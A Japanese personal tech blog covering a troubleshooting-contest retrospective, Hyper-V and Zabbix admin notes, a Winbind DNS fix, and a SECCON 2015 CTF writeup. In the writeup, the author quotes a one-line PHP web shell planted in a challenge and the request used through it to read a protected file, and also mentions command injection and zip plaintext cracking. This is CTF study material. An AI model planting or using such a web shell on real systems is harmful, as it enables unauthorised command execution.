読者です 読者をやめる 読者になる 読者になる

h-otterの備忘録

サーバー・プログラミング・自作PCなど自分のやったことを忘れないように書いていきます。お役に立てたら幸いです。

ICTSC7の感想

¾ - 3/5 に第7回トラブルシューティングコンテスト (ICTSC7) が開催されました。 今回自分は @palloc と問題リーダーとして半年間準備を行いました。 参加者の感想がまだ集まり切っていませんが、自己評価としては参加者にも楽しんでもらえる良い大会を運営できたのではないかと思っています。 この記事では大会を時系列で振り返ってみようと思います。

ふりかえり

合宿 (10/29 - 10/30)

キックオフミーティングの前に合宿があったような気がします。 問題の案などを出してもらったり、この大会がどのようなものであるかを共有することのほかに、今回は思い切って遊びました。 これが功を奏したのか、割と雑談が増えたのではないかと… (気のせい?)

約4ヶ月の準備期間

そこからは直接全員集まることはなく、ほとんどリモートで作業を行うことになりますが非常に大変でした。 やはり学生の本業は学業 であるはず なので、トラコンのタスクはどうしても優先度に低いものになります。 やってほしいこととやらなければいけないことを分けて認識し、やらなければいけないことは必ずやってもらうことが重要であったと思います。

Hotstage Phase 1 (2/18 - 2/24)

六本木のCiscoさんのオフィスをお借りして準備をしていました。 その際、付箋で全体のタスクをジャンルごとに分け、Pending(作業予定) / Woring (作業中) / Done (終了) の3つのゾーンに分けたかんばん方式で管理しました。 全体の視認性が上がり、アナログがやはり最強であると証明されてしまった気がします。 個人的にはDoneの付箋がどんどん増えていく達成感と、前回と比べて順調に進みすぎているため何か大きな見落としがあるのではないかという不信感がずっと戦っていました。

f:id:h-otter:20170307201435j:plainf:id:h-otter:20170308211616j:plain

Hotstage Phase 2 (2/24 - 3/3)

現地であるNTT 東日本さんの部屋をお借りして実際の設営などを行いました。 リハーサルを行い、点数の調整などの微調整を行いました。 問題の構築などは早々に終わり、微調整や不具合の修正などに時間をさけたことは快挙でした。

f:id:h-otter:20170307202627j:plain

本番 (¾ - 3/5)

やはり、新しいルールや取り組みによるトラブルが発生しましたが、リハーサルも行ったおかげで最低限に抑えられたかと思います。 実際に開催してみてわかるルールなどの改善点が多く見つかったので次回の参考にしようと思います。 TAZ問題(掃除のおばちゃんによる電源OFF)は反響が大きく(・∀・)ニヤニヤ という感じです。

打ち上げ

みんなテンションが高く、盛り上がる余裕があることは信じられないことでした。 各人それぞれはやはり思うところがあると思いますが、少なくともとても笑って打ち上げができるような大会にできてよかったと思います。

f:id:h-otter:20170308212727j:plain (↑ うるさいくらいにテンションが高い一例)

まとめ

今大会は問題リーダーとして参加者に楽しんでもらうということを目標としました。 そのため前回大会の反省にも上がった点も踏まえて以下のことに挑戦しています。

  • 各問題のシナリオの調整
  • ルールの工夫 (http://icttoracon.net/archives/3701)
    • (ルールを乞ってしまったせいで迷惑をかけた @kyontan をはじめとしたコンテストサイトの開発のみなさま本当にありがとうございました。)
  • リアルタイム採点
  • トラブルの内容とどこまで解決してほしいかを明確にする
  • 問題を解くにあたって、ほかの要素を問題のトラブルだと勘違いしないような構成にする
    • 特に物理機材

どれも難しいことでしたが、運営メンバーと協力することでなんとか形にすることができました。 問題リーダーが2人いる構成でしたが、密に連携をとることで円滑に運営メンバーに仕事をしてもらうことができたと思います。

当然、今大会が成功したことは大会にかかわっているすべての方のおかげです。 特に学生の不手際でいつも迷惑をおかけしてしまう大人の皆さまには頭が上がりません。 関係者の皆様方本当にありがとうございました。

参加者の皆さんも、もし楽しんでいただけたのであればまた参加してください。

クライアント Hyper-V の Txオフロードについて

クライアントHyper-Vを使っている際に、sshコネクションが急に切れたりなどいろいろ不安定なことが多かったりします。 特にWiFiではそれが顕著であると感じています。

今回はWiresharkでパケットキャプチャを行い、Checksum Incorrectが多発していたことを確認しました。 Hyper-VインターフェイスTCP, UDPのTxオフロードを無効化したところChecksum Incorrectが多発しなくなったのでメモです。 もちろんパフォーマンスは下がると思いますが、TCPコネクションが切れるよりはましということで…

サーバーではこの問題は特に起こっていないように感じるので、よくわかりません。 また、これで改善するかしないのかはまだ検証中なので、わからないです。 もしバグであるなら修正してほしいですが、もう少し検証してから細かいことを記事にまとめるつもりです。

Zabbix3.0 へのアップグレード

Zabbix 3.0 LTS がリリースされたのでアップグレードしました。ところどころ詰まったのでメモ。

環境

$ uname -a
Linux zabbix 3.13.0-58-generic #97-Ubuntu SMP Wed Jul 8 02:56:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.4 LTS"

方法

バックアップ

データベースや設定ファイルをバックアップします。自分はHyper-V上に構築しているためチェックポイントとって終了。

リポジトリの更新

Zabbix 3.0のリポジトリをドキュメント通りに更新します。このとき念のため古いリポジトリは削除します。

3 Installation from packages [Zabbix Documentation 3.0]

$ sudo apt-get remove zabbix-release
$ wget http://repo.zabbix.com/zabbix/3.0/ubuntu/pool/main/z/zabbix-release/zabbix-release_3.0-1+trusty_all.deb
$ sudo dpkg -i zabbix-release_3.0-1+trusty_all.deb
$ sudo apt-get update

Upgrade

必要なパッケージを適宜インストールします。アップグレードだけであれば以下のコマンドでいいようです。更新中に設定ファイルは古いものを維持するか新しいもので上書きするか聞かれます。

$ sudo apt-get --only-upgrade install zabbix*

設定

基本的に2.2や2.4を新規インストールするときと同様のものを設定します。

タイムゾーン

/etc/apache2/conf-available/zabbix.conf

php_value date.timezone Asia/Tokyo

データベースの設定

[password]に自分が設定したパスワードを入力してください。

/etc/zabbix/zabbix_server.conf

# DBPassword=

DBPassword=[password]

フロントエンドのデータベースの設定は前のものが引き継がれます。もしアップグレードとMySQLのパスワードの変更を同時にやってしまったかわいそうな人(自分)は初期設定画面も表示されず、エラー画面が表示されるだけなので/usr/share/zabbix/conf/zabbix.conf.phpを自分で編集してください。

再起動

$ sudo service zabbix_server restart
$ sudo service apache2 reload

お疲れ様でした。

Ubuntu11.10 on Hyper-V

Exploit Exercises

これをHyper-Vにインストールしようと思ったらなかなかうまくいかなかったのでメモ。

環境

方法

  • ネットワーク アダプタレガシ ネットワーク アダプター
  • SCSI コントローラーを削除

f:id:h-otter:20160120222838p:plain

WinbindでDNSの動的更新

過去の記事で疑問に思っていたことが解決しました。

h-otter.hatenablog.jp

症状

ドメインに参加したときに以下のようなエラーが出力されていた問題です。

$ sudo net ads join -U Administrator 
Enter Administrator's password:
Using short domain name -- DOMAIN
Joined 'client' to dns domain 'domain.local'
No DNS domain configured for client. Unable to perform DNS Update.
DNS update failed: NT_STATUS_INVALID_PARAMETER

ADのDNSが自動更新できない…みたいなエラーだと思います。

解決策

  • /etc/network/interfacesdns-searchを指定
  • /etc/hostsドメインを明示

この2つを行えばうまくいきます。具体的には以下の通りです。

/etc/network/interfaces

auto eth0
iface eth0 inet static
        address 192.168.1.10
        netmask 255.255.255.0
        network 192.168.1.0
        broadcast 192.168.1.255
        gateway 192.168.1.254
        # dns-* options are implemented by the resolvconf package, if installed
        dns-nameservers 192.168.1.1
        dns-search domain.local  # <- これ

/etc/hosts

127.0.0.1       localhost
192.168.1.10   client.domain.local     client

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

という感じに更新して、ドメインに参加するだけです。

$ sudo net ads join -U Administrator
Enter Administrator's password:
Using short domain name -- DOMAIN
Joined 'client' to dns domain 'domain.local'

SECCON 2015 Online 参加しました

overflowというチームで学校の同級生であるkyontanと@hogextendと一緒に参加しました。結果は

147  1200        overflow

で147位でした。高校生2年生の時にも友達を誘って参加しましたが惨敗。今回も少し勉強したのですがあえなく惨敗しました。前回よりも解けただけ良しとしましょう…

前回よりも解けたのでWriteupのようなものも書けます!

Writeup

Start SECCON CTF (50)

簡単な換字式暗号と呼ばれるものでした。CTF=Pythonみたいなイメージがあるのでpythonで書いた気がするんですがどんなコード書いたか忘れました…

Unzip the file (100)

暗号化されたzipが渡されました。

$ unzip -l ./unzip
Archive:  ./unzip
  Length      Date    Time    Name
---------  ---------- -----   ----
    14182  2015-11-30 16:23   backnumber08.txt
    12064  2015-11-30 16:22   backnumber09.txt
    22560  2015-12-01 15:21   flag
---------                     -------
    48806                     3 files

3つのファイルが入っていて明らかに flag というファイルに目的のものが入ってそうでした。とりあえず調べてみると選択平文攻撃なるものが存在するようで…

Blog: 年越しCTF x86-64.jp大会 2014 を開催しました – x86-64.jp - くりす研

そこでGoogle"backnumber08.txt"と検索をかけるとあからさまにSECCONのメールマガジンのテキストがヒットしました。あとは pkcrack でいけんべと思っていたらなかなか複号できませんでした。 jquery.jsを同じアーカイブ方式、同じファイルシステムでzip と書いてあるのでWindowsとKaliのzip両方で試してもダメ。backnumber08と09で試してもダメ。もうわかんなかったのであらましをkyontanに話したらなんか解いてくれました。Macじゃないとだめだったんでしょうか?今度詳しく聞いてきます。

Connect the server (100)

telnetサーバーに接続する問題でした。適当に接続するとこんな感じに

$ nc login.pwn.seccon.jp 10000
CONNECT 300

Welcome to SECCON server.

The server is connected via slow dial-up connection.
Please be patient, and do not brute-force.

login: root

Sorry, the account is unavailable.

Good bye.

とりあえずパケットキャプチャを見てみようと思ったらいきなり答えがありました。

f:id:h-otter:20151207033452p:plain

SECCON{Sometimes_what_you_see_is_NOT_what_you_get}

Command-Line Quiz (100)

telnetサーバーにログインすると6つのファイルがありまして、その問題を一つずつ解いていけばフラグを見れます。

$ cat *.txt
cat: can't open 'flags.txt': Operation not permitted
What command do you use when you want to read only top lines of a text file?

Set your answer to environment variable named stage1 and execute a shell.

  $ stage1=$your_answer_here sh

If your answer is what I meant, you will be able to access stage2.txt file.
cat: can't open 'stage2.txt': Operation not permitted
cat: can't open 'stage3.txt': Operation not permitted
cat: can't open 'stage4.txt': Operation not permitted
cat: can't open 'stage5.txt': Operation not permitted
$ stage1=head sh
$ cat *.txt
cat: can't open 'flags.txt': Operation not permitted
cat: can't open 'stage1.txt': Operation not permitted
What command do you use when you want to read only bottom lines of a text file?

Set your answer to environment variable named stage2 and execute a shell.

  $ stage2=$your_answer_here sh

If your answer is what I meant, you will be able to access stage3.txt file.
cat: can't open 'stage3.txt': Operation not permitted
cat: can't open 'stage4.txt': Operation not permitted
cat: can't open 'stage5.txt': Operation not permitted
$ stage2=tail sh
$ cat *.txt
cat: can't open 'flags.txt': Operation not permitted
cat: can't open 'stage1.txt': Operation not permitted
cat: can't open 'stage2.txt': Operation not permitted
What command do you use when you want to pick up lines that match specific patterns?

Set your answer to environment variable named stage3 and execute a shell.

  $ stage3=$your_answer_here sh

If your answer is what I meant, you will be able to access stage4.txt file.
cat: can't open 'stage4.txt': Operation not permitted
cat: can't open 'stage5.txt': Operation not permitted
$ stage3=grep sh
$ cat *.txt
cat: can't open 'flags.txt': Operation not permitted
cat: can't open 'stage1.txt': Operation not permitted
cat: can't open 'stage2.txt': Operation not permitted
cat: can't open 'stage3.txt': Operation not permitted
What command do you use when you want to process a text file?

Set your answer to environment variable named stage4 and execute a shell.

  $ stage4=$your_answer_here sh

If your answer is what I meant, you will be able to access stage5.txt file.
cat: can't open 'stage5.txt': Operation not permitted
$ stage4=awk sh
$ cat *.txt
cat: can't open 'flags.txt': Operation not permitted
cat: can't open 'stage1.txt': Operation not permitted
cat: can't open 'stage2.txt': Operation not permitted
cat: can't open 'stage3.txt': Operation not permitted
cat: can't open 'stage4.txt': Operation not permitted
OK. You reached the final stage. The flag word is in flags.txt file.

flags.txt can be read by only one specific program which is available
in this server. The program for reading flags.txt is one of commands
you can use for processing a text file. Please find it. Good luck. ;-)
$ sed -e "" ./flags.txt
OK. You have read all .txt files. The flag word is shown below.

SECCON{CaitSith@AQUA}

Entry form (100)

cgiで書かれたメールのエントリーフォームがありました。入力できるものはメールアドレスとユーザー名でsubmitすると登録確認メールを送りました的なページが表示されます。この問題は結構楽しかったです。(100点でしたが…)

まずルートにアクセスするとディレクトリの中の一覧を表示することができました。その中には実際に動いているcgiファイルのバックアップがあり、ソースコードを見ることができます。そこから log というファイルの中にフラグが入っていることと、OSコマンドインジェクションを実行することができることが分かりました。しかし、 log をOSコマンドインジェクションから表示できずパーミッションを見てみると cgi ユーザーではアクセスできないことが分かりました。

Entry Form

./:
total 1752
dr-xr-xr-x 2 root   root    4096 Dec  1 21:52 SECRETS
-r---w---- 1 apache cgi  1769873 Dec  5 21:43 log
-r--r--r-- 1 root   root    1132 May 15  2015 logo.png
-r-xr-xr-x 1 cgi    cgi     1631 Dec  5 20:32 register.cgi
-r--r--r-- 1 root   root    1583 Dec  1 22:25 register.cgi_bak
Your entry was sent. Go Back

どうにか apache ユーザーで見れないかなぁと思っていたら明らかに怪しい SECRETS/backdoor123.php というファイルがありました。中には <pre><?php system($_GET['cmd']); ?></pre> と書かれていたため、あとは SECRETS/backdoor123.php?cmd=cat+../log にアクセスすればフラグがみれました。

自分がアクセスしたときには log ファイルが膨れ上がっており、XSSも大量に埋め込んであったのが面白かったwww

あとはDecrypt itとかsteganoとかFind the prime numbersとかにちょっとずつ浮気しながら時間が終わりました。ここあやしいな…とか思うことはできるんですが答えまでなかなか行きつくことができません。kyontanは黙って問題を解き続けて最後にはちゃんとフラグを導き出せてるのがすごいですね。@hogextendがアナログにQRといてて最高に笑いましたwww

自分は全部低い点数の問題しか解けてないのが印象的でした。もっと基本的なところを勉強して問題を最後まで説き続ける根気が必要ですね。来年はもっと頑張りたいです。

2015/12/09 追記

チームメイトのkyontanもwriteupを書いてました。

blog.monora.me

あとpkcrackについてですが、原因が分かりました。

$ unzip -l ./unzip
Archive:  ./unzip.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
    14182  2015-11-30 16:23   backnumber08.txt
    12064  2015-11-30 16:22   backnumber09.txt
    22560  2015-12-01 15:21   flag
---------                     -------
    48806                     3 files
$ ls -l ./backnumber08.txt*
-rw-r--r-- 1 otter domain users 13944 12月  6 00:49 ./backnumber08.txt
-rw-r--r-- 1 otter domain users 14182 10月  3  2014 ./backnumber08.txt.1

以上のように実際のファイルと操作していたファイルの容量が違っていたことが原因でした。自分は基本はWindowsで操作していて必要があるときにGitサーバーにアップロードしてから、Kaliで操作するようにしています。今回はその時に改行のCRLFが変更されたため複号ができなかったようです。気を付けないといけないですね。

Hyper-Vでプロミスキャスモード

プロミスキャスモードとは

プロミスキャスモードとはネットワークに流れているすべてのパケットを受信することです。一般的にはNICで制御され、Hyper-Vの場合はハイパーバイザーのNICが制御しています。

環境

方法

  1. 仮想化ゲストの設定を開く
  2. プロミスキャスモードにしたいネットワークアダプターを開き、高度な機能を選択
  3. "MACアドレススプーフィングを有効にする"にチェックを入れる

f:id:h-otter:20151202192923p:plain

説明書きを読むと厳密にはプロミスキャスモードとは違うような気がしますが、とりあえず…。何か続きがあれば別の記事に書こうと思います。